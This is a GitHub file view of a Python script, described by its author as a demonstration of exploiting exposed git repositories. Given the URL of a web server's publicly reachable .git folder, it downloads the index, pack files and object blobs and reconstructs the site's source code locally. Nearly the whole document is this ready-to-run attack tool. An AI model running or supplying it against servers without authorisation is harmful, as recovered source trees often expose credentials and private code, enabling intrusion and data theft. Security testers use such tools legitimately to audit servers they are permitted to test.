-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
executable file
·221 lines (177 loc) · 6.98 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
# Quick and dirty demonstration of a git exposure exploitation by Walther Lee
# The author disclaims copyright to this source code.
import argparse
import asyncio
import os
import re
import aiohttp
from utils import print_warn, print_green, fetch, batch
parser = argparse.ArgumentParser(
description='Download files from an exposed git repository in git-repo-url'
)
parser.add_argument('repo-url', type=str, help='url of the exposed .git folder')
parser.add_argument(
'-f --folder', metavar='path', type=str, help='folder to save downloaded repo'
)
def create_object(folder, filename, content):
"""
create a git object blob
"""
# create object folder
folder_path = os.path.join(os.getcwd(), '.git', 'objects', folder)
if not os.path.exists(folder_path):
os.mkdir(folder_path)
# create object file
file_path = os.path.join(folder_path, filename)
if not os.path.exists(file_path):
with open(file_path, 'wb') as f:
f.write(content)
def create_file(path, content):
"""
create a file from blob
:param project_path: folder to store data
:param path: relative path from project_path
:param content: encoded content string
"""
path_split = path.split('/')
filename = path_split[-1]
path = '/'.join(path_split[:-1]) if len(path_split) > 1 else ''
folder_path = os.path.join(os.getcwd(), path)
if not os.path.exists(folder_path):
os.makedirs(folder_path)
with open(os.path.join(folder_path, filename), 'wb') as f:
f.write(content)
async def decode_hash(b_hash, git_url, session):
"""
download a blob by hash, store it and cat-file its content
"""
folder, obj = b_hash[:2], b_hash[2:]
url = git_url + 'objects/' + folder + '/' + obj
status, content = await fetch(session, url)
if status != 200:
return
create_object(folder, obj, content)
proc = await asyncio.subprocess.create_subprocess_exec(
'git', 'cat-file', '-p', b_hash,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
stdout, _ = await proc.communicate()
return stdout
async def unpack_hash(git_url, pack, session):
"""
download, save and unpack .pack file from git repository
"""
packs_path = os.path.join(os.getcwd(), '.git', 'objects', 'pack')
for ext in ('.idx', '.pack'):
filename = pack + ext
filepath = os.path.join(packs_path, filename)
# download packs only if doesn't exist already
if not os.path.exists(filepath):
print('Downloading pack=[%s]' % filename)
url = f'{git_url}objects/pack/{filename}'
status, content = await fetch(session, url)
if status != 200:
m = f'ERROR downloading pack=[{filename}]. status_code=[{status}]'
print_warn(m)
return
with open(filepath, 'wb') as f:
f.write(content)
# store `filepath` content in StreamReader
proc = await asyncio.subprocess.create_subprocess_exec(
'cat', filepath,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
stdout, _ = await proc.communicate()
# unpack content using git subprocess, passing StreamReader as input
proc = await asyncio.subprocess.create_subprocess_exec(
'git', 'unpack-objects', '-r',
stdin=asyncio.subprocess.PIPE,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
await proc.communicate(input=stdout)
async def init_git(session, git_url, folder_path=None):
if not folder_path:
folder_path = ''
proj_path = os.path.join(os.getcwd(), folder_path)
if not os.path.exists(proj_path):
os.mkdir(proj_path)
os.chdir(proj_path)
# init a new git project if doesn't exist
if not os.path.exists(os.path.join(os.getcwd(), '.git')):
proc = await asyncio.subprocess.create_subprocess_exec('git', 'init')
await proc.communicate()
# download packed data
url = f'{git_url}objects/info/packs'
status, content = await fetch(session, url)
if status == 200:
# create packs folder and download them
packs_path = os.path.join(os.getcwd(), '.git', 'objects', 'pack')
if not os.path.exists(packs_path):
os.makedirs(packs_path)
packs = re.findall(r'(pack-\w+)\.pack', content.decode())
loop = asyncio.get_running_loop()
tasks = [
loop.create_task(unpack_hash(git_url, pack, session))
for pack in packs
]
await asyncio.gather(*tasks)
else:
msg = 'ERROR: status_code=[%s] received downloading git packs' % status
print_warn(msg)
# download git index if doesn't exist
index_path = os.path.join(os.getcwd(), '.git', 'index')
if not os.path.exists(index_path):
url = git_url + 'index'
status, content = await fetch(session, url)
if status != 200:
msg = f'ERROR: status_code=[{status}] received downloading git index'
raise IOError(200, msg)
with open(index_path, 'wb') as f:
f.write(content)
async def fetch_file(blob_path, git_url, session):
blob, path = blob_path
if 'vendor' in path or 'node_modules' in path or 'uploads/' in path:
return
content = await decode_hash(blob, git_url, session)
if not content:
# search blob in unpacked files
folder, filename = blob[:2], blob[2:]
blob_path = os.path.join(os.getcwd(), '.git', 'objects', folder, filename)
if not os.path.exists(blob_path):
print_warn('ERROR getting [%s] %s' % (blob, path))
return
with open(blob_path, 'rb') as f:
content = f.read()
create_file(path, content)
print_green('Created [%s] %s' % (blob, path))
async def main(git_url, folder_path):
timeout = aiohttp.ClientTimeout(total=60)
async with aiohttp.ClientSession(timeout=timeout) as session:
await init_git(session, git_url, folder_path)
# get blobs hashes
proc = await asyncio.subprocess.create_subprocess_exec(
'git', 'ls-files', '--stage',
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
stdout, stderr = await proc.communicate()
index = stdout.decode()
hashes_paths = re.findall(r'([\w]{40})\s+\d+\s+([\w\/\.\-_#]+)', index)
# download, decode and store files
loop = asyncio.get_running_loop()
for hps in batch(hashes_paths, size=20):
tasks = [loop.create_task(fetch_file(hp, git_url, session)) for hp in hps]
await asyncio.gather(*tasks)
if __name__ == '__main__':
args = vars(parser.parse_args())
if not args.get('repo-url'):
print('You have to specify the url of the git repo')
url = args.get('repo-url')
if not re.match(r'https{0,1}://', url):
url = 'http://' + url
if url[-1] != '/':
url = url + '/'
asyncio.run(main(url, args.get('f __folder')))